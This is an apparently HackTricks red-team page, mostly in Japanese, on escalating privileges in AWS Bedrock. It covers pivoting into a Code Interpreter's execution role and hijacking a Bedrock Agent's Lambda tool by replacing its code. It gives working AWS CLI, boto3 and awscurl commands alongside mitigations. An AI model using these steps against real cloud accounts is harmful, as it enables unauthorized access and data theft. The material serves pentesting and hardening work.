AWS - Bedrock PrivEsc

Tip

学んで実践する AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks をサポートする

Amazon Bedrock AgentCore

bedrock-agentcore:StartCodeInterpreterSession + bedrock-agentcore:InvokeCodeInterpreter - Code Interpreter Execution-Role Pivot

AgentCore Code Interpreter は managed execution environment です。Custom Code InterpretersexecutionRoleArn で設定でき、これは「code interpreter が AWS services にアクセスするための権限」を提供します。

もし 低権限の IAM principal が、より高権限の execution role で構成された Code Interpreter session を start + invoke できるなら、呼び出し元は実質的に execution role の権限へ pivot できます(role の範囲に応じて lateral movement / privilege escalation)。

Note

これは通常、misconfiguration / excessive permissions の問題です(interpreter execution role に広すぎる権限を与える、または広範な invoke access を与える)。 AWS は明示的に、execution roles の権限を、invoke を許可された identities と 同等以下 にすることで privilege escalation を避けるよう警告しています。

前提条件(一般的な misconfiguration)

  • custom code interpreter が存在し、過剰権限の execution role を持っている(例: 機密 S3/Secrets/SSM へのアクセスや IAM-admin のような権限)。
  • user(developer/auditor/CI identity)が以下の権限を持っている:
  • sessions を start: bedrock-agentcore:StartCodeInterpreterSession
  • tools を invoke: bedrock-agentcore:InvokeCodeInterpreter
  • (任意)user は interpreter を create することもできる: bedrock-agentcore:CreateCodeInterpreter(org guardrails に応じて、execution role 付きの新しい interpreter を作成できる)。

Recon(custom interpreters と execution role の使用状況を特定する)

interpreter(control-plane)を list し、その configuration を inspect する:

aws bedrock-agentcore-control list-code-interpreters
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>

create-code-interpreter コマンドは --execution-role-arn をサポートしており、これは interpreter が持つ AWS 権限を定義します。

Step 1 - セッションを開始する(これは sessionId を返し、interactive shell ではありません)

SESSION_ID=$(
aws bedrock-agentcore start-code-interpreter-session \
--code-interpreter-identifier <CODE_INTERPRETER_IDENTIFIER> \
--name "arte-oussama" \
--query sessionId \
--output text
)

echo "SessionId: $SESSION_ID"

Step 2 - Invoke code execution (Boto3 or signed HTTPS)

There is no interactive python shell from start-code-interpreter-session. Execution happens via InvokeCodeInterpreter.

Option A - Boto3 example (execute Python + verify identity):

import boto3

client = boto3.client("bedrock-agentcore", region_name="<REGION>")

# Execute python inside the Code Interpreter session
resp = client.invoke_code_interpreter(
codeInterpreterIdentifier="<CODE_INTERPRETER_IDENTIFIER>",
sessionId="<SESSION_ID>",
name="executeCode",
arguments={
"language": "python",
"code": "import boto3; print(boto3.client('sts').get_caller_identity())"
}
)

# Response is streamed; print events for visibility
for event in resp.get("stream", []):
print(event)

インタープリターが execution role で構成されている場合、sts:GetCallerIdentity() の出力はその role の identity(低権限の caller ではない)を反映し、pivot を示します。

Option B - Signed HTTPS call (awscurl):

awscurl -X POST \
"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-H "x-amzn-code-interpreter-session-id: <SESSION_ID>" \
--service bedrock-agentcore \
--region <Region> \
-d '{
"name": "executeCode",
"arguments": {
"language": "python",
"code": "print(\"Hello from AgentCore\")"
}
}'

Impact

  • Lateral movement into whatever AWS access the interpreter execution role has.
  • Privilege escalation if the interpreter execution role is more privileged than the caller.
  • Harder detection if CloudTrail data events for interpreter invocations are not enabled (invocations may not be logged by default, depending on configuration).

Mitigations / Hardening

  • Least privilege on the interpreter executionRoleArn (treat it like Lambda execution roles / CI roles).
  • Restrict who can invoke (bedrock-agentcore:InvokeCodeInterpreter) and who can start sessions.
  • Use SCPs to deny InvokeCodeInterpreter except for approved agent runtime roles (org-level enforcement can be necessary).
  • Enable appropriate CloudTrail data events for AgentCore where applicable; alert on unexpected invocations and session creation.

Amazon Bedrock Agents

lambda:UpdateFunctionCode, bedrock:InvokeAgent - Agent Tool Hijacking via Lambda

Bedrock Agents can use Lambda-backed action groups as tools (external execution). If a principal can modify the code of a Lambda function used by an agent, and can then invoke the agent, they can execute attacker-controlled code under the Lambda execution role.

Note

This is a cross-service trust abuse (Bedrock → Lambda), not a vulnerability. The attacker may not be able to invoke the Lambda directly, but can still trigger it via the agent.

Preconditions (common misconfiguration)

  • A Bedrock Agent exists with an action group backed by a Lambda function
  • The attacker has:
  • lambda:UpdateFunctionCode
  • bedrock:InvokeAgent
  • The Lambda execution role has broader permissions than the attacker
  • The attacker can identify the Lambda used by the agent

Recon

Enumerate agent action groups:

aws bedrock-agent list-agents
aws bedrock-agent get-agent --agent-id <AGENT_ID>
aws bedrock-agent list-agent-action-groups --agent-id <AGENT_ID> --agent-version DRAFT

Lambda を調査する:

aws lambda get-function --function-name <FUNCTION_NAME>

Exploitation

Lambda codeを置き換える:

zip payload.zip lambda_function.py

aws lambda update-function-code \
--function-name <FUNCTION_NAME> \
--zip-file fileb://payload.zip

Example payload:

import boto3

def lambda_handler(event, context):
return boto3.client("sts").get_caller_identity()

エージェント経由でトリガー:

aws bedrock-agent-runtime invoke-agent \
--agent-id <AGENT_ID> \
--agent-alias-id <ALIAS_ID> \
--session-id test \
--input-text "trigger tool"

影響

  • Privilege escalation into Lambda execution role
  • AWS services からの Data exfiltration
  • trusted agent execution を介した Cross-service abuse

Mitigations

  • lambda:UpdateFunctionCodeRestrict
  • least-privilege の Lambda roles を使用する
  • Lambda の code changes を Monitor
  • Bedrock agent の tool usage を Audit

References

Tip

学んで実践する AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks をサポートする